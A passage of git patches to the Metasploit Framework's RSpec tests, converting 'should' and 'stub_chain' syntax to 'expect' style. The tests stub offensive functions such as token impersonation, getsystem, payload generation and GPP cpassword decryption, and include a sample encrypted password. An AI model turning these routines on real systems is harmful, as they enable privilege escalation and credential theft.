'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == search_string + } } - }.should be_truthy + ).to eq true end end @@ -533,13 +565,15 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Target#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == search_string + expect( + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == search_string + } } - }.should be_truthy + ).to eq true end end end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index ee7aa479bb..588ae2525c 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -19,13 +19,15 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or end it 'should find matching Mdm::Module::Platform#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == self.module_platform.name + expect( + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == self.module_platform.name + } } - }.should be_truthy + ).to eq true end end @@ -36,13 +38,15 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or end it 'should find matching Mdm::Module::Target#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == self.module_target.name + expect( + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == self.module_target.name + } } - }.should be_truthy + ).to eq true end end end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 107c62747f..1ac9e8b9f4 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -25,13 +25,15 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword end it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + expect(module_details.count).to > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == name + expect( + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == name + } } - }.should be_truthy + ).to eq true end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 2e06ae56df..1f607da6d9 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -396,27 +396,27 @@ shared_examples_for 'Msf::DBManager::Session' do # it 'should have session.info present' do - session.info.should be_present + expect(session.info).to be_present end it 'should have session.sid present' do - session.sid.should be_present + expect(session.sid).to be_present end it 'should have session.platform present' do - session.platform.should be_present + expect(session.platform).to be_present end it 'should have session.type present' do - session.type.should be_present + expect(session.type).to be_present end it 'should have session.via_exploit present' do - session.via_exploit.should be_present + expect(session.via_exploit).to be_present end it 'should have session.via_payload present' do - session.via_exploit.should be_present + expect(session.via_exploit).to be_present end it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } @@ -739,27 +739,27 @@ shared_examples_for 'Msf::DBManager::Session' do # it 'should have session.info present' do - session.info.should be_present + expect(session.info).to be_present end it 'should have session.sid present' do - session.sid.should be_present + expect(session.sid).to be_present end it 'should have session.platform present' do - session.platform.should be_present + expect(session.platform).to be_present end it 'should have session.type present' do - session.type.should be_present + expect(session.type).to be_present end it 'should have session.via_exploit present' do - session.via_exploit.should be_present + expect(session.via_exploit).to be_present end it 'should have session.via_payload present' do - session.via_exploit.should be_present + expect(session.via_exploit).to be_present end it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index ca93631bb0..b8fa61c706 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -31,7 +31,7 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do expect(db_manager).to receive(:update_module_details) do |module_instance| - module_instance.should be_a Msf::Module + expect(module_instance).to be_a Msf::Module expect(module_instance.type).to eq module_detail.mtype expect(module_instance.refname).to eq module_detail.refname end diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 1d1c8837e0..139f016676 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -9,12 +9,12 @@ shared_examples_for 'Msf::Module::Search' do accept.each do |query| it "should accept a query containing '#{query}'" do # if the subject matches, search_filter returns false ("don't filter me out!") - subject.search_filter(query).should be_falsey + expect(subject.search_filter(query)).to be_falsey end unless opts.has_key?(:test_inverse) and not opts[:test_inverse] it "should reject a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_truthy + expect(subject.search_filter("-#{query}")).to be_truthy end end end @@ -22,12 +22,12 @@ shared_examples_for 'Msf::Module::Search' do reject.each do |query| it "should reject a query containing '#{query}'" do # if the subject doesn't matches, search_filter returns true ("filter me out!") - subject.search_filter(query).should be_truthy + expect(subject.search_filter(query)).to be_truthy end unless opts.has_key?(:test_inverse) and not opts[:test_inverse] it "should accept a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_truthy # what? why? + expect(subject.search_filter("-#{query}")).to be_truthy # what? why? end end end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 3b8c594548..1b7a3f50c6 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -97,7 +97,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should have entry for path' do - module_info_by_path[path].should be_a Hash + expect(module_info_by_path[path]).to be_a Hash end context 'value' do @@ -340,13 +340,13 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context '#module_info_by_path' do it 'should have protected method module_info_by_path' do - subject.respond_to?(:module_info_by_path, true).should be_truthy + expect(subject.respond_to?(:module_info_by_path, true)).to be_truthy end end context '#module_info_by_path=' do it 'should have protected method module_info_by_path=' do - subject.respond_to?(:module_info_by_path=, true).should be_truthy + expect(subject.respond_to?(:module_info_by_path=, true)).to be_truthy end end @@ -391,7 +391,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do it 'should create cache entry for path' do module_info_by_path_from_database! - module_info_by_path.should have_key(path) + expect(module_info_by_path).to have_key(path) end it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do @@ -458,7 +458,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do module_info_by_path_from_database! - module_info_by_path.should be_empty + expect(module_info_by_path).to be_empty end end end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 0240ce8130..c92e0dc642 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -8,8 +8,8 @@ shared_examples_for 'Msf::ModuleManager::Loading' do Tempfile.open(module_basename) do |tempfile| module_path = tempfile.path - subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_truthy + expect(subject.send(:module_info_by_path)[module_path]).to be_nil + expect(subject.file_changed?(module_path)).to be_truthy end end @@ -25,7 +25,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :type => Msf::MODULE_PAYLOAD } - subject.file_changed?(module_path).should be_truthy + expect(subject.file_changed?(module_path)).to be_truthy end end @@ -41,8 +41,8 @@ shared_examples_for 'Msf::ModuleManager::Loading' do tempfile.unlink - File.exist?(module_path).should be_falsey - subject.file_changed?(module_path).should be_truthy + expect(File.exist?(module_path)).to be_falsey + expect(subject.file_changed?(module_path)).to be_truthy end it 'should return true if modification time does not match the cached modification time' do @@ -56,7 +56,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } expect(cached_modification_time).not_to eq modification_time - subject.file_changed?(module_path).should be_truthy + expect(subject.file_changed?(module_path)).to be_truthy end end @@ -71,7 +71,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } expect(cached_modification_time).to eq modification_time - subject.file_changed?(module_path).should be_falsey + expect(subject.file_changed?(module_path)).to be_falsey end end end diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index dc24b4c986..52939a24b0 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -10,7 +10,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do module_manager.add_module_path(path_with_trailing_separator) module_paths.should_not include(path_with_trailing_separator) - module_paths.should include(path) + expect(module_paths).to include(path) end end @@ -19,7 +19,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do Dir.mktmpdir do |path| module_manager.add_module_path(path) - module_paths.should include(path) + expect(module_paths).to include(path) end end end diff --git a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb index af45717cb8..b44a096601 100644 --- a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb +++ b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb @@ -12,7 +12,7 @@ shared_examples_for 'Msf::Modules::Error subclass #initialize' do end it 'should include causal message in error' do - subject.to_s.should match(/due to .*/) + expect(subject.to_s).to match(/due to .*/) end it 'should set module_path' do diff --git a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb index 45c859e7ad..00dbc4b48c 100644 --- a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb +++ b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb @@ -16,18 +16,18 @@ shared_examples_for 'Msf::Modules::VersionCompatibilityError' do end it 'should include minimum API version' do - error.to_s.should include(minimum_api_version.to_s) + expect(error.to_s).to include(minimum_api_version.to_s) end it 'should include minimum Core version' do - error.to_s.should include(minimum_core_version.to_s) + expect(error.to_s).to include(minimum_core_version.to_s) end it 'should include module path' do - error.to_s.should include(module_path) + expect(error.to_s).to include(module_path) end it 'should include module reference name' do - error.to_s.should include(module_reference_name) + expect(error.to_s).to include(module_reference_name) end end diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb index 3df434c490..070730d80a 100644 --- a/spec/support/shared/examples/xor_encoder.rb +++ b/spec/support/shared/examples/xor_encoder.rb @@ -4,19 +4,19 @@ shared_examples_for 'an xor encoder' do |keysize| it "should encode one block" do # Yup it returns one of its arguments in an array... Because spoon. encoded, key = described_class.encode("A"*keysize, "A"*keysize) - encoded.should eql("\x00"*keysize) + expect(encoded).to eql("\x00"*keysize) encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) - encoded.should eql("\xff"*keysize) + expect(encoded).to eql("\xff"*keysize) encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) - encoded.should eql("\x88"*keysize) + expect(encoded).to eql("\x88"*keysize) end it "should encode multiple blocks" do 2.upto 50 do |count| encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) - encoded.should eql("\x88"*keysize*count) + expect(encoded).to eql("\x88"*keysize*count) end end @@ -24,12 +24,12 @@ shared_examples_for 'an xor encoder' do |keysize| it "should deal with input lengths that aren't a multiple of keysize" do lambda { encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) - encoded.should eql("\x00"*(keysize+1)) + expect(encoded).to eql("\x00"*(keysize+1)) }.should_not raise_error lambda { encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) - encoded.should eql("\x00"*(keysize-1)) + expect(encoded).to eql("\x00"*(keysize-1)) }.should_not raise_error end end diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index 21d2cd12da..d3775df251 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -16,14 +16,14 @@ RSpec.describe CPassword do # Encrypted password for "testpassword" cpass = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk" pass = cpasswd.decrypt(cpass) - pass.should eq('testpassword') + expect(pass).to eq('testpassword') end it "should return an empty string due to a bad password" do # Invalid password format cpass = "BadPassword" pass = cpasswd.decrypt(cpass) - pass.should eq('') + expect(pass).to eq('') end end end diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index bee9dfe870..dae40af00a 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -30,11 +30,11 @@ RSpec.describe VirusTotalUtility do context ".Initializer" do it "should init the config file path as Metasploit's default config path" do - tool_config.instance_variable_get(:@config_file).should eq(Msf::Config.config_file) + expect(tool_config.instance_variable_get(:@config_file)).to eq(Msf::Config.config_file) end it "should init the group name as 'VirusTotal'" do - tool_config.instance_variable_get(:@group_name).should eq('VirusTotal') + expect(tool_config.instance_variable_get(:@group_name)).to eq('VirusTotal') end end end @@ -92,31 +92,31 @@ RSpec.describe VirusTotalUtility do context ".Initializer" do it "should have an API key" do - vt.instance_variable_get(:@api_key).should eq(api_key) + expect(vt.instance_variable_get(:@api_key)).to eq(api_key) end it "should have a checksum for the malware sample" do - vt.instance_variable_get(:@sample_info)['sha256'].should eq(malware_sha256) + expect(vt.instance_variable_get(:@sample_info)['sha256']).to eq(malware_sha256) end end context "._load_sample" do it "should contain sample info including data, filename, and sha256" do - vt.send(:_load_sample, filename).should eq(sample) + expect(vt.send(:_load_sample, filename)).to eq(sample) end end context ".scan_sample" do it "should return with data" do expect(vt).to receive(:_execute_request).and_return('') - vt.scan_sample.should eq('') + expect(vt.scan_sample).to eq('') end end context ".retrieve_report" do it "should return with data" do expect(vt).to receive(:_execute_request).and_return('') - vt.retrieve_report.should eq('') + expect(vt.retrieve_report).to eq('') end end @@ -152,19 +152,19 @@ RSpec.describe VirusTotalUtility do end it "should create form-data with a boundary" do - @upload_data.should match(/#{boundary}/) + expect(@upload_data).to match(/#{boundary}/) end it "should create form-data with the API key" do - @upload_data.should match(/#{api_key}/) + expect(@upload_data).to match(/#{api_key}/) end it "should create form-data with the malware filename" do - @upload_data.should match(/#{filename}/) + expect(@upload_data).to match(/#{filename}/) end it "should create form-data with the malware data" do - @upload_data.should match(/#{malware_data}/) + expect(@upload_data).to match(/#{malware_data}/) end end end @@ -224,7 +224,7 @@ RSpec.describe VirusTotalUtility do context ".initialize" do it "should return a Driver object" do - driver.class.should eq(VirusTotalUtility::Driver) + expect(driver.class).to eq(VirusTotalUtility::Driver) end end @@ -232,7 +232,7 @@ RSpec.describe VirusTotalUtility do it "should have a link of VirusTotal's terms of service" do tos = 'https://www.virustotal.com/en/about/terms-of-service' out = get_stdout { driver.ack_privacy } - out.should match(/#{tos}/) + expect(out).to match(/#{tos}/) end end @@ -246,7 +246,7 @@ RSpec.describe VirusTotalUtility do } out = get_stdout { driver.generate_report(res, filename) } - out.should match(/#{res['scans']['Bkav']['version']}/) + expect(out).to match(/#{res['scans']['Bkav']['version']}/) end end end From 4cec58d78cdf04c8412319be0876e8eb10395dcf Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:00:56 -0500 Subject: [PATCH 019/103] .stub_chain -> expect().to receive_message_chain MSP-13484 --- .../framework/login_scanner/smb_spec.rb | 20 ++++++------- .../lib/msf/base/sessions/meterpreter_spec.rb | 4 +-- spec/lib/msf/core/payload_generator_spec.rb | 12 ++++---- spec/lib/msf/core/post/windows/mssql_spec.rb | 28 +++++++++---------- spec/lib/msf/core/post/windows/runas_spec.rb | 4 +-- 5 files changed, 34 insertions(+), 34 deletions(-) diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb index f028463db5..5240e5ae5e 100644 --- a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -74,11 +74,11 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do context '#attempt_login' do before(:each) do - login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + allow(login_scanner).to receive_message_chain(:simple, :client, :auth_user, :nil?).and_return false end context 'when there is a connection error' do it 'returns a result with the connection_error status' do - login_scanner.stub_chain(:simple, :login).and_raise ::Rex::ConnectionError + allow(login_scanner).to receive_message_chain(:simple, :login).and_raise ::Rex::ConnectionError expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end end @@ -98,10 +98,10 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do exception = Rex::Proto::SMB::Exceptions::LoginError.new exception.error_code = code - login_scanner.stub_chain(:simple, :login).and_raise exception - login_scanner.stub_chain(:simple, :connect) - login_scanner.stub_chain(:simple, :disconnect) - login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + allow(login_scanner).to receive_message_chain(:simple, :login).and_raise exception + allow(login_scanner).to receive_message_chain(:simple, :connect) + allow(login_scanner).to receive_message_chain(:simple, :disconnect) + allow(login_scanner).to receive_message_chain(:simple, :client, :auth_user, :nil?).and_return false expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::DENIED_ACCESS end @@ -111,8 +111,8 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do context 'when the login fails' do it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do - login_scanner.stub_chain(:simple, :login).and_return false - login_scanner.stub_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error + allow(login_scanner).to receive_message_chain(:simple, :login).and_return false + allow(login_scanner).to receive_message_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT end end @@ -127,7 +127,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do end it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do - login_scanner.stub_chain(:simple, :login).and_return true + allow(login_scanner).to receive_message_chain(:simple, :login).and_return true result = login_scanner.attempt_login(pub_blank) expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL expect(result.access_level).to eq described_class::AccessLevels::ADMINISTRATOR @@ -145,7 +145,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do end it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do - login_scanner.stub_chain(:simple, :login).and_return true + allow(login_scanner).to receive_message_chain(:simple, :login).and_return true result = login_scanner.attempt_login(pub_blank) expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL expect(result.access_level).to_not eq described_class::AccessLevels::ADMINISTRATOR diff --git a/spec/lib/msf/base/sessions/meterpreter_spec.rb b/spec/lib/msf/base/sessions/meterpreter_spec.rb index 8023907520..12cd7da53f 100644 --- a/spec/lib/msf/base/sessions/meterpreter_spec.rb +++ b/spec/lib/msf/base/sessions/meterpreter_spec.rb @@ -34,8 +34,8 @@ RSpec.describe Msf::Sessions::Meterpreter do subject(:connected_address) do m = described_class.new(StringIO.new(""), skip_ssl: true) - m.stub_chain(:net, :config, :get_interfaces).and_return(interfaces) - m.stub_chain(:net, :config, :get_routes).and_return(routes) + allow(m).to receive_message_chain(:net, :config, :get_interfaces).and_return(interfaces) + allow(m).to receive_message_chain(:net, :config, :get_routes).and_return(routes) m.session_host = session_host m.send(:find_internet_connected_address) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index e37300a4f5..aa157ab88e 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -561,8 +561,8 @@ RSpec.describe Msf::PayloadGenerator do } it 'calls the generate_war on the payload' do - framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] - framework.stub_chain(:payloads, :create).and_return(payload_module) + allow(framework).to receive_message_chain(:payloads, :keys).and_return [payload_reference_name] + allow(framework).to receive_message_chain(:payloads, :create).and_return(payload_module) expect(payload_module).to receive(:generate_war).and_call_original payload_generator.generate_java_payload end @@ -589,8 +589,8 @@ RSpec.describe Msf::PayloadGenerator do } it 'calls the generate_jar on the payload' do - framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] - framework.stub_chain(:payloads, :create).and_return(payload_module) + allow(framework).to receive_message_chain(:payloads, :keys).and_return [payload_reference_name] + allow(framework).to receive_message_chain(:payloads, :create).and_return(payload_module) expect(payload_module).to receive(:generate_jar).and_call_original payload_generator.generate_java_payload end @@ -608,8 +608,8 @@ RSpec.describe Msf::PayloadGenerator do } it 'calls #generate' do - framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] - framework.stub_chain(:payloads, :create).and_return(payload_module) + allow(framework).to receive_message_chain(:payloads, :keys).and_return [payload_reference_name] + allow(framework).to receive_message_chain(:payloads, :create).and_return(payload_module) expect(payload_module).to receive(:generate).and_call_original payload_generator.generate_java_payload end diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index fed8925a7d..aa4d68414d 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -294,43 +294,43 @@ RSpec.describe Msf::Post::Windows::MSSQL do context 'user has privs to impersonate' do before(:each) do - subject.stub_chain('session.sys.config.getuid').and_return('Superman') - subject.stub_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege']) - subject.stub_chain('session.incognito').and_return(true) - subject.stub_chain('session.sys.process.each_process').and_yield(process) + allow(subject).to receive_message_chain('session.sys.config.getuid').and_return('Superman') + allow(subject).to receive_message_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege']) + allow(subject).to receive_message_chain('session.incognito').and_return(true) + allow(subject).to receive_message_chain('session.sys.process.each_process').and_yield(process) end it 'should return true if successful impersonating' do - subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully') + allow(subject).to receive_message_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully') expect(subject.impersonate_sql_user(service)).to be true end it 'should return false if fails impersonating' do - subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff') + allow(subject).to receive_message_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff') expect(subject.impersonate_sql_user(service)).to be false end it 'should return false if unable to find process username' do - subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0) + allow(subject).to receive_message_chain('session.sys.process.each_process').and_yield('pid' => 0) expect(subject.impersonate_sql_user(service)).to be false end end context 'user does not have privs to impersonate' do before(:each) do - subject.stub_chain('session.sys.config.getuid').and_return('Superman') - subject.stub_chain('client.sys.config.getprivs').and_return([]) + allow(subject).to receive_message_chain('session.sys.config.getuid').and_return('Superman') + allow(subject).to receive_message_chain('client.sys.config.getprivs').and_return([]) end it 'should return true if successful' do expect(subject).to receive(:print_warning) - subject.stub_chain('session.core.migrate').with(pid).and_return(true) + allow(subject).to receive_message_chain('session.core.migrate').with(pid).and_return(true) expect(subject.impersonate_sql_user(service)).to be true end it 'should rescue an exception if migration fails' do expect(subject).to receive(:print_warning) - subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError) + allow(subject).to receive_message_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError) expect(subject.impersonate_sql_user(service)).to be false end end @@ -345,14 +345,14 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return true if able to get SYSTEM and print a warning' do expect(subject).to receive(:is_system?).and_return(false) expect(subject).to receive(:print_warning) - subject.stub_chain('session.priv.getsystem').and_return([true]) + allow(subject).to receive_message_chain('session.priv.getsystem').and_return([true]) expect(subject.get_system).to be_truthy end it 'should return false if unable to get SYSTEM and print a warning' do expect(subject).to receive(:is_system?).and_return(false) expect(subject).to receive(:print_warning) - subject.stub_chain('session.priv.getsystem').and_return([false]) + allow(subject).to receive_message_chain('session.priv.getsystem').and_return([false]) expect(subject.get_system).to be_falsey end end @@ -362,7 +362,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do p = double('process') c = double('channel') expect(p).to receive(:channel).and_return(c) - subject.stub_chain('session.sys.process.execute').and_return(p) + allow(subject).to receive_message_chain('session.sys.process.execute').and_return(p) expect(c).to receive(:read).and_return('hello') expect(c).to receive(:read).and_return(nil) expect(c).to receive(:close) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 8c7944b2cc..4c544ab5bd 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -38,8 +38,8 @@ RSpec.describe Msf::Post::Windows::Runas do mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] stubs.each { |meth| expect(mod).to receive(meth) } - mod.stub_chain("session.railgun.kernel32").and_return(kernel32) - mod.stub_chain("session.railgun.advapi32").and_return(advapi32) + allow(mod).to receive_message_chain("session.railgun.kernel32").and_return(kernel32) + allow(mod).to receive_message_chain("session.railgun.advapi32").and_return(advapi32) mod end From 0eb68ef16cae1ad07e684467c1b1c17407a43a84 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:05:56 -0500 Subject: [PATCH 020/103] .should_not_receive -> expect().not_to receive MSP-13484 --- spec/lib/msf/core/exploit/http/server_spec.rb | 2 +- spec/lib/msf/core/modules/loader/base_spec.rb | 10 +++--- spec/msfupdate_spec.rb | 12 +++---- .../login_scanner/login_scanner_base.rb | 4 +-- .../msf/db_manager/exploit_attempt.rb | 36 +++++++++---------- .../import/metasploit_framework/xml.rb | 2 +- .../examples/msf/db_manager/module_cache.rb | 8 ++--- .../shared/examples/msf/db_manager/session.rb | 6 ++-- .../update_all_module_details_refresh.rb | 2 +- .../examples/msf/module_manager/cache.rb | 6 ++-- 10 files changed, 44 insertions(+), 44 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index b07b5f876a..ae34fc7297 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -53,7 +53,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do describe "#cleanup" do it "should not remove resources if none were successfully added" do - server_module.should_not_receive(:remove_resource) + expect(server_module).not_to receive(:remove_resource) server_module.cleanup end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index e6f35d18f4..b3ac70d79f 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -274,7 +274,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should not call #read_module_content' do - subject.should_not_receive(:read_module_content) + expect(subject).not_to receive(:read_module_content) subject.load_module(parent_path, type, module_reference_name) end end @@ -371,7 +371,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should not attempt to make a new namespace_module' do - subject.should_not_receive(:namespace_module_transaction) + expect(subject).not_to receive(:namespace_module_transaction) expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end @@ -1228,7 +1228,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should not set the relative_name constant to anything' do - parent_module.should_not_receive(:const_set) + expect(parent_module).not_to receive(:const_set) subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) end @@ -1287,8 +1287,8 @@ RSpec.describe Msf::Modules::Loader::Base do # Allow 'Metasploit::Framework::Spec::Constants cleaner' removal expect(parent_module).to receive(:remove_const).with(relative_name.to_sym).and_call_original - parent_module.should_not_receive(:remove_const).with(relative_name) - parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) + expect(parent_module).not_to receive(:remove_const).with(relative_name) + expect(parent_module).not_to receive(:const_set).with(relative_name, @current_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) end diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index e723c87463..28d15c9624 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -224,11 +224,11 @@ RSpec.describe Msfupdate do subject.run! end it "does not call update_binary_install!" do - subject.should_not_receive(:update_binary_install!) + expect(subject).not_to receive(:update_binary_install!) subject.run! end it "does not call update_git!" do - subject.should_not_receive(:update_git!) + expect(subject).not_to receive(:update_git!) subject.run! end end @@ -273,7 +273,7 @@ RSpec.describe Msfupdate do context "#run!" do it "does not call update_apt!" do - subject.should_not_receive(:update_apt!) + expect(subject).not_to receive(:update_apt!) subject.run! end it "calls update_binary_install!" do 